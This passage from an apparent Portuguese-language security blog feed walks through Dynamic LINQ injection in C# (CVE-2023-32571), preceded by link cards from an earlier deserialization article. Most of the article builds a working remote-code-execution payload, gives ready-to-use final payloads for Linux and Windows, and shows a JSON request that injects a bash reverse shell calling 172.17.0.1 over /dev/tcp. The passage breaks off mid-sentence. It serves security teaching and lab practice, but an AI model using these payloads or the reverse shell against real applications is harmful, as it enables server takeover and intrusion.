Initiative &#x2014; CVE-2022-38108: RCE in SolarWinds Network Performance Monitor</div><div class="kg-bookmark-description">In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Justin Hong and Lucas Miller of the Trend Micro Research Team detail a recently patched remote code execution vulnerability in the SolarWinds Network Performance Monitor. This bug was originally discovered and repo</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/1487670157237-HOXHMI54TA0SZP21OY7C/favicon.ico" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">Zero Day Initiative</span></div></div><div class="kg-bookmark-thumbnail"><img src="http://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/58a5b38cb3db2bd67b608658/63fd16560738d207a91f65c8/1677730307035/nature-forest-horizon-cloud-sky-sun-783369-pxhere.com.jpg?format=1500w" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.exploit-db.com/exploits/51633?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution</div><div class="kg-bookmark-description">GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution. CVE-2023-34634 . local exploit for Windows platform</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.exploit-db.com/favicon.ico" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">Exploit Database</span><span class="kg-bookmark-publisher">p4r4bellum</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.exploit-db.com/images/spider-orange.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><h2 id="laborat%C3%B3rio-utilizado">Laborat&#xF3;rio utilizado:</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/crowsec-edtech/blog/tree/main/chall-dotnet-deserialization?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">blog/chall-dotnet-deserialization at main &#xB7; crowsec-edtech/blog</div><div class="kg-bookmark-description">Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">crowsec-edtech</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/24f24aceed09b263f7b666831f6e46a855454850cc04ad027b331fb9ea380fc8/crowsec-edtech/blog" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.newtonsoft.com/json/help/html/serializingjson.htm?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Serializing and Deserializing JSON</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.newtonsoft.com/json/help/icons/favicon.ico" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">Json.NET</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.newtonsoft.com/json/help/icons/TocOpen.gif" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation</div><div class="kg-bookmark-description">A8:2017-Insecure Deserialization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://owasp.org/www--site-theme/favicon.ico" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"><span class="kg-bookmark-author">OWASP logo</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://owasp.org/www--site-theme/favicon.ico" alt="Explorando Desserializa&#xE7;&#xE3;o Insegura em Aplica&#xE7;&#xF5;es ASP.NET Core"></div></a></figure><p><a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf?ref=blog.hackingclub.com">https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf</a></p><h2 id="onde-praticar-desserializa%C3%A7%C3%A3o-insegura">Onde praticar desserializa&#xE7;&#xE3;o insegura ?</h2><p>Atualmente o <a href="https://hackingclub.com/?ref=blog.hackingclub.com">hackingclub</a> possu&#xED; diversos CTFs em que podem ser explorados desserializa&#xE7;&#xE3;o insegura, em diversos contextos e linguagens diferentes.</p><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 100 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking. <br><br>Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!</p>]]></content:encoded></item><item><title><![CDATA[O Blindspot do C#]]></title><description><![CDATA[<p>A <strong>Dynamic LINQ Injection</strong> &#xE9; uma vulnerabilidade pouco conhecida, por&#xE9;m cr&#xED;tica, explorada em pesquisas de <strong>Cyber Security</strong>, <strong>pentests avan&#xE7;ados</strong> e desafios de <strong>CTF (Capture The Flag)</strong>. Essa falha permite que atacantes manipulem consultas din&#xE2;micas em aplica&#xE7;&#xF5;es desenvolvidas com <strong>C#</strong></p>]]></description><link>https://blog.hackingclub.com/obtendo-rce-atraves-de-um-dynamic-linq-injection/</link><guid isPermaLink="false">655e2310d192d0040d8acd78</guid><category><![CDATA[.net core]]></category><category><![CDATA[c#]]></category><category><![CDATA[exploit]]></category><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Wed, 22 Nov 2023 23:03:07 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/Blindspot_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/Blindspot_-HC_BLOG-1.jpg" alt="O Blindspot do C#"><p>A <strong>Dynamic LINQ Injection</strong> &#xE9; uma vulnerabilidade pouco conhecida, por&#xE9;m cr&#xED;tica, explorada em pesquisas de <strong>Cyber Security</strong>, <strong>pentests avan&#xE7;ados</strong> e desafios de <strong>CTF (Capture The Flag)</strong>. Essa falha permite que atacantes manipulem consultas din&#xE2;micas em aplica&#xE7;&#xF5;es desenvolvidas com <strong>C#</strong> e <strong>.NET Core</strong>, podendo resultar em <strong>Remote Code Execution (RCE)</strong> e comprometimento total do servidor.</p><p>Neste artigo, voc&#xEA; entender&#xE1; como essa vulnerabilidade surge a partir do uso inseguro do <strong>Dynamic LINQ</strong>, uma biblioteca amplamente utilizada para consultas din&#xE2;micas em cole&#xE7;&#xF5;es de dados dentro do ecossistema .NET.</p><h2 id="o-que-%C3%A9-o-dynamic-linq">O que &#xE9; o Dynamic Linq?</h2><p>O <strong>Dynamic LINQ</strong> (<em>System.Linq.Dynamic.Core</em>) &#xE9; uma biblioteca que estende os recursos do Language Integrated Query (LINQ), permitindo a constru&#xE7;&#xE3;o de consultas din&#xE2;micas semelhantes a SQL para manipula&#xE7;&#xE3;o de arrays, listas e bases de dados em mem&#xF3;ria. Embora extremamente poderosa para aplica&#xE7;&#xF5;es corporativas, sua utiliza&#xE7;&#xE3;o sem valida&#xE7;&#xE3;o adequada pode abrir portas para ataques de inje&#xE7;&#xE3;o.</p><h2 id="o-que-%C3%A9-dynamic-linq-injection">O que &#xE9; Dynamic Linq injection?</h2><p>O Dynamic Linq injection &#xE9; uma vulnerabilidade que permite que um atacante injete queries Linq, obtendo assim dados aos quais n&#xE3;o deveria ter acesso.</p><p>Observe que o c&#xF3;digo abaixo concatena o input do usu&#xE1;rio diretamente na query Linq:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/01.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1697" height="844" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/01.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/01.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/01.png 1600w, https://blog.hackingclub.com/content/images/2023/11/01.png 1697w" sizes="(min-width: 720px) 720px"></figure><p>Ao acessar o endpoint, &#xE9; poss&#xED;vel realizar pesquisa na lista de produtos:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/01-gif.gif" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="2000" height="1059" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/01-gif.gif 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/01-gif.gif 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/01-gif.gif 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/01-gif.gif 2400w" sizes="(min-width: 720px) 720px"></figure><p>Inserindo <code>pple&quot;) || 1=1 || Name.Contains(&quot;</code> , conseguimos injetar query Linq:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/02.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1831" height="623" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/02.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/02.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/02.png 1600w, https://blog.hackingclub.com/content/images/2023/11/02.png 1831w" sizes="(min-width: 720px) 720px"></figure><p>Observe que foram retornados todos os produtos da lista.</p><p>O Linq injection n&#xE3;o ocorre apenas quando concatenamos o input do usu&#xE1;rio em uma query do tipo &quot;Where&quot;. Algumas aplica&#xE7;&#xF5;es inserem o input do usu&#xE1;rio diretamente na fun&#xE7;&#xE3;o <strong>OrderBy</strong>, como na imagem abaixo:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/01-1.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1677" height="523" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/01-1.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/01-1.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/01-1.png 1600w, https://blog.hackingclub.com/content/images/2023/11/01-1.png 1677w" sizes="(min-width: 720px) 720px"></figure><p>Inserindo <code>Name</code> no par&#xEA;metro &quot;field&quot;, realizamos um orderBy pelo campo &quot;Name&quot;. No entanto, se inserirmos <code>Name descending</code> percebemos que a aplica&#xE7;&#xE3;o entende nossa query:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/01-fig.gif" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="2000" height="1040" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/01-fig.gif 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/01-fig.gif 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/01-fig.gif 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/01-fig.gif 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="dynamic-linq-injection-to-rce">Dynamic Linq injection to RCE</h2><p>Em 13 de junho de 2023, a NCC Group conduziu uma pesquisa na biblioteca <code>System.Linq.Dynamic.Core</code> e descobriu uma maneira de invocar m&#xE9;todos da aplica&#xE7;&#xE3;o por meio da query do Dynamic Linq. </p><p>Ao permitir a chamada m&#xE9;todos,  tornou-se poss&#xED;vel  utilizar a <code>System.Diagnostics.Process</code> para executar comandos no sistema. Diante disso, a NCC Group reportou uma CVE (CVE-2023-32571) classificada como cr&#xED;tica, pois permite RCE. </p><p>Um artigo foi publicado no dia 13 de junho explicando como explorar a vulnerabilidade, embora n&#xE3;o detalhe o processo de como chegaram nesta vulnerabilidade, e nem como era poss&#xED;vel executar comandos remotamente na aplica&#xE7;&#xE3;o.</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)</div><div class="kg-bookmark-description">Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions&gt;= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://i0.wp.com/research.nccgroup.com/wp-content/uploads/2023/03/cropped-NCC-Group-Favicon.png?fit=192%2C192&amp;ssl=1" alt="O Blindspot do C#"><span class="kg-bookmark-author">NCC Group Research Blog</span><span class="kg-bookmark-publisher">Ross Bradley</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://i0.wp.com/research.nccgroup.com/wp-content/uploads/2023/03/cropped-NCC-Group-Favicon.png?fit=512%2C512&amp;ssl=1" alt="O Blindspot do C#"></div></a></figure><p>Ap&#xF3;s algumas horas de pesquisa,  observamos que <strong>n&#xE3;o h&#xE1; nenhuma POC dispon&#xED;vel</strong> para essa vulnerabilidade, ent&#xE3;o decidimos estudar com profundidade a vulnerabilidade para criar uma payload que permite RCE.</p><h3 id="criando-payload">Criando payload</h3><p>Conforme destacado no artigo da NCC Group, temos a capacidade de invocar m&#xE9;todos da aplica&#xE7;&#xE3;o, ent&#xE3;o nosso foco &#xE9; chegar ao m&#xE9;todo <code>System.Diagnostics.Process.Start</code>, assim podemos executar comandos no sistema.</p><p>A forma de chamar os m&#xE9;todos da aplica&#xE7;&#xE3;o &#xE9; por meio das subclasses da classe &quot;String&quot;. Infelizmente, n&#xE3;o &#xE9; poss&#xED;vel invocar a <code>System.Diagnostics.Process</code> diretamente, uma vez que n&#xE3;o est&#xE1; entre as subclasses da classe &apos;String&apos;.</p><p>Ap&#xF3;s algumas pesquisas, encontramos uma payload de 2016 que explorava RCE no Dynamic Linq. Embora esteja totalmente desatualizada, essa descoberta foi bastante &#xFA;til na cria&#xE7;&#xE3;o da payload.</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Linq Injection &#x2013; From Attacking Filters to Code Execution</div><div class="kg-bookmark-description">Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It&#x2019;s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://insinuator.net/wp-content/themes/insinuator2/images/favicons/apple-icon-180x180.png" alt="O Blindspot do C#"><span class="kg-bookmark-author">Insinuator.net</span><span class="kg-bookmark-publisher">Timo Schmid</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://asciinema.org/a/5b11mfcjlaxz0gcx1hc669o35.png" alt="O Blindspot do C#"></div></a></figure><p>Ao estudar essa payload, observamos que ela utilizava o m&#xE9;todo <code>System.AppDomain.CreateInstanceAndUnwrap</code> para invocar um m&#xE9;todo atrav&#xE9;s de seu assembly. Com isso, podemos utiliz&#xE1;-la para invocar a <code>System.Diagnostics.Process</code></p><p>A Payload abaixo invoca o m&#xE9;todo <code>System.AppDomain.CreateInstanceAndUnwrap</code>:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke()</code></pre><p>Observe que acessamos os &quot;DefinedTypes&quot; (subclasses) da classe String. Entre eles, temos o &quot;System.AppDomain&quot;, cujo o &quot;Name&quot; &#xE9; apenas &quot;AppDomain&quot;. Listando os &quot;DeclaredMethods&quot; conseguimos chegar ao m&#xE9;todo &quot;CreateInstanceAndUnwrap&quot;.</p><p>Com acesso ao m&#xE9;todo &quot;CreateInstanceAndUnwrap&quot;, podemos invoc&#xE1;-lo e utiliz&#xE1;-lo para chegarmos na classe <code>System.Diagnostics.Process</code>.</p><p>A Payload abaixo invoca o m&#xE9;todo <code>System.AppDomain.CreateInstanceAndUnwrap</code> e chama a classe <code>System.Diagnostics.Process</code>:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray()))</code></pre><blockquote>A payload &#xE9; extensa mas com calma e foco conseguimos entende-la.</blockquote><p>Observe que a estrutura do m&#xE9;todo Invoke &#xE9; essa:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/03.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1514" height="811" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/03.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/03.png 1000w, https://blog.hackingclub.com/content/images/2023/11/03.png 1514w" sizes="(min-width: 720px) 720px"></figure><p>Se vamos utilizar o <code>.Invoke()</code> no m&#xE9;todo <code>CreateInstanceAndUnwrap</code>, precisamos fornecer 2 par&#xE2;metros: </p><ul><li>A instancia do objeto onde est&#xE1; o m&#xE9;todo, no caso: System.AppDomain</li><li>Um array de par&#xE2;metros que ser&#xE1; passado para o m&#xE9;todo &quot;CreateInstanceAndUnwrap&quot;</li></ul><p>Para obtermos a inst&#xE2;ncia da classe &quot;System.AppDomain&quot; temos que acessar o valor da propriedade &quot;CurrentDomain&quot;, pois o valor dela &#xE9; a inst&#xE2;ncia da pr&#xF3;pria classe. Para isso, utilizamos esse trecho de c&#xF3;digo:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null)</code></pre><p>Agora precisamos fornecer o segundo par&#xE2;metro para a fun&#xE7;&#xE3;o <code>.Invoke()</code>. O segundo par&#xE2;metro ser&#xE1; um array de par&#xE2;metros que ser&#xE3;o fornecidos para o m&#xE9;todo <code>CreateInstanceAndUnwrap</code>.</p><p> O m&#xE9;todo <code>CreateInstanceAndUnwrap</code> requer 2 par&#xE2;metros:</p><ul><li>O assemblyName da classe que queremos chamar</li><li>O nome da classe que queremos chamar</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/04.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1327" height="664" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/04.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/04.png 1000w, https://blog.hackingclub.com/content/images/2023/11/04.png 1327w" sizes="(min-width: 720px) 720px"></figure><p>Ou seja, precisamos fornecer um array para o <code>Invoke()</code> com duas strings, uma com o assemblyName, e a outro com o nome da classe que queremos chamar. Para isso, utilizamos esse trecho de c&#xF3;digo:</p><pre><code>&quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray())</code></pre><p>Observe que passamos apenas uma string, e utilizamos a fun&#xE7;&#xE3;o &quot;Split&quot; para dividir a string entre o &quot;;&quot; transformado-a em um array. O array resultante seria: </p><pre><code>[&quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089&quot;, &quot;System.Diagnostics.Process&quot;]</code></pre><p>Entendido todo o fluxo, analise a payload abaixo novamente para melhor entendimento:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray()))</code></pre><p>Essa payload retorna a inst&#xE2;ncia da classe &quot;System.Diagnostics.Process&quot;. </p><p>Com isso, podemos acessar a lista de m&#xE9;todos da classe &quot;Process&quot; e chamar o m&#xE9;todo &quot;Start&quot; que &#xE9; respons&#xE1;vel por executar comandos no sistema operacional:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == &quot;Process&quot;).First().DeclaredMethods.Where(it.name == &quot;Start&quot;).Take(3).Last()</code></pre><p>Veja que acessamos os &quot;<strong>DefinedTypes</strong>&quot; e chamamos a pr&#xF3;pria classe (Process).</p><p> Acessando os &quot;DeclaredMethods&quot;, &#xE9; poss&#xED;vel chamar o m&#xE9;todo &quot;Start&quot; e na payload, utilizamos <code>.Take(3).Last()</code>. Isso foi utilizado para chegar no m&#xE9;todo &quot;Start&quot; correto, pois por algum motivo, na lista de m&#xE9;todos da classe &quot;System.Diagnostics.Process&quot; tinham v&#xE1;rios m&#xE9;todos com o nome &quot;Start&quot;, e o que precisamos &#xE9; o terceiro da lista.</p><p>Com acesso ao m&#xE9;todo <code>Start</code> podemos utilizar o <code>Invoke</code> para invocar o m&#xE9;todo e passar os par&#xE2;metros necess&#xE1;rios para a execu&#xE7;&#xE3;o de comandos.</p><p>Como o m&#xE9;todo <code>Start</code> &#xE9; est&#xE1;tico, n&#xE3;o &#xE9; necess&#xE1;rio fornecer a inst&#xE2;ncia da classe <code>System.Diagnostics.Process</code> para o m&#xE9;todo <code>Invoke</code>.</p><p>A Payload abaixo invoca o m&#xE9;todo <code>Start</code> e executa comandos no sistema:</p><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == &quot;Process&quot;).First().DeclaredMethods.Where(it.name == &quot;Start&quot;).Take(3).Last().Invoke(null, &quot;/bin/bash;-c id&quot;.Split(&quot;;&quot;.ToCharArray()))</code></pre><p>Veja que passamos &quot;null&quot; como primeiro par&#xE2;metro para o<code>Invoke</code>, n&#xE3;o &#xE9; necess&#xE1;rio fornecer a inst&#xE2;ncia do objeto para um m&#xE9;todo est&#xE1;tico. </p><p>Analisando a estrutura da fun&#xE7;&#xE3;o <code>System.Diagnostics.Process.Start</code>, vemos que ela necessita de 2 argumentos: </p><ul><li>Filename: Bin&#xE1;rio que ser&#xE1; executado</li><li>Arguments: Argumentos que ser&#xE3;o passados para o filename</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/05.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="1525" height="609" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/05.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/05.png 1000w, https://blog.hackingclub.com/content/images/2023/11/05.png 1525w" sizes="(min-width: 720px) 720px"></figure><p>Como segundo par&#xE2;metro pra fun&#xE7;&#xE3;o <code>Invoke</code> passamos a string: <code>&quot;/bin/bash;-c id&quot;</code>, por&#xE9;m utilizamos a fun&#xE7;&#xE3;o &quot;Split&quot; no &quot;;&quot; para separar a string e transformar em array. O array resultante ser&#xE1;:</p><pre><code>[&quot;/bin/bash&quot;, &quot;-c id&quot;]</code></pre><p>Assim, o comando que ser&#xE1; executado &#xE9;:</p><pre><code>/bin/bash -c &quot;id&quot;</code></pre><h3 id="payload-final-para-linux">Payload final para Linux</h3><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == &quot;Process&quot;).First().DeclaredMethods.Where(it.name == &quot;Start&quot;).Take(3).Last().Invoke(null, &quot;bash;-c &lt;command-here&gt;&quot;.Split(&quot;;&quot;.ToCharArray()))</code></pre><h3 id="payload-final-para-windows">Payload final para Windows</h3><pre><code>&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredMethods.Where(it.Name == &quot;CreateInstanceAndUnwrap&quot;).First().Invoke(&quot;&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == &quot;AppDomain&quot;).First().DeclaredProperties.Where(it.name == &quot;CurrentDomain&quot;).First().GetValue(null), &quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process&quot;.Split(&quot;;&quot;.ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == &quot;Process&quot;).First().DeclaredMethods.Where(it.name == &quot;Start&quot;).Take(3).Last().Invoke(null, &quot;cmd.exe;/c &lt;command-here&gt;&quot;.Split(&quot;;&quot;.ToCharArray()))</code></pre><h3 id="obtendo-rce-atrav%C3%A9s-do-dynamic-linq-injection">Obtendo RCE atrav&#xE9;s do Dynamic Linq injection</h3><p>Voltando na aplica&#xE7;&#xE3;o onde exploramos o Dynamic Linq injection, podemos obter RCE enviando a payload que criamos:</p><pre><code>{
&quot;name&quot;: &quot;pple\&quot;) || \&quot;\&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == \&quot;AppDomain\&quot;).First().DeclaredMethods.Where(it.Name == \&quot;CreateInstanceAndUnwrap\&quot;).First().Invoke(\&quot;\&quot;.GetType().Assembly.DefinedTypes.Where(it.Name == \&quot;AppDomain\&quot;).First().DeclaredProperties.Where(it.name == \&quot;CurrentDomain\&quot;).First().GetValue(null), \&quot;System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\&quot;.Split(\&quot;;\&quot;.ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \&quot;Process\&quot;).First().DeclaredMethods.Where(it.name == \&quot;Start\&quot;).Take(3).Last().Invoke(null, \&quot;bash;-c \\\&quot;bash -i &gt;&amp; /dev/tcp/172.17.0.1/80 0&gt;&amp;1\\\&quot;\&quot;.Split(\&quot;;\&quot;.ToCharArray())).ToString() == \&quot;\&quot; || Name.Contains(\&quot;&quot;
}</code></pre><p>Veja que no final da payload foi necess&#xE1;rio colocar &quot;.ToString()&quot; e fazer uma compara&#xE7;&#xE3;o, pois estamos utilizando o operador &quot;||&quot; para fazer a inje&#xE7;&#xE3;o na query Linq, e isso requer um resultado booleano.</p><p>Sem a compara&#xE7;&#xE3;o de strings, a aplica&#xE7;&#xE3;o retorna o seguinte erro:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/06.png" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="2000" height="462" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/06.png 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/06.png 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/06.png 1600w, https://blog.hackingclub.com/content/images/2023/11/06.png 2103w" sizes="(min-width: 720px) 720px"></figure><p>Ent&#xE3;o, se transformarmos o objeto em String e fazermos uma 